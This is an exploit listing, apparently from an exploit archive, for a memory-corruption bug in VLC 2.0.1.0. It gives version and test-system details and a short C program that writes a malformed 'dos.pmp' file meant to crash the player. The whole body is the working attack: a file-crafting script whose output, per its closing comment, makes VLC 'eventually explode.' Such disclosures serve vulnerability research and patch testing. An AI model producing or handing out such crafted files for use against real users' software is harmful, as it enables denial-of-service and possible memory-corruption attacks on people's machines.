# Exploit Title: VLC v. 2.0.1.0 .pmp Memory Corruption
# Date: 3/15/2012
# Author: Dan Fosco
# Vendor or Software Link: www.videolan.org
# Version: 2.0.1.0
# Category: local
# Google dork: n/a
# Tested on: Windows XP SP3 (64-bit)
# Demo site: n/a

Tested on stable 2.0, 2.0.1.0 (newest release as of 3/15/2012), not working on 1.1.11

#include <stdio.h>

int main()
{
	FILE *f;
	int i;
	f = fopen("dos.pmp", "w");
	fputs("\x70\x6d\x70\x6d\x01", f);
	for(i = 0; i < 9; i++)
	{
		fputc('\x00', f);
	}
	for(i = 0; i < 41; i++)
	{
		fputc('\x41', f);
	}
	fclose(f);
	return 0;
}

//use code for creating malicious file, eventually explodes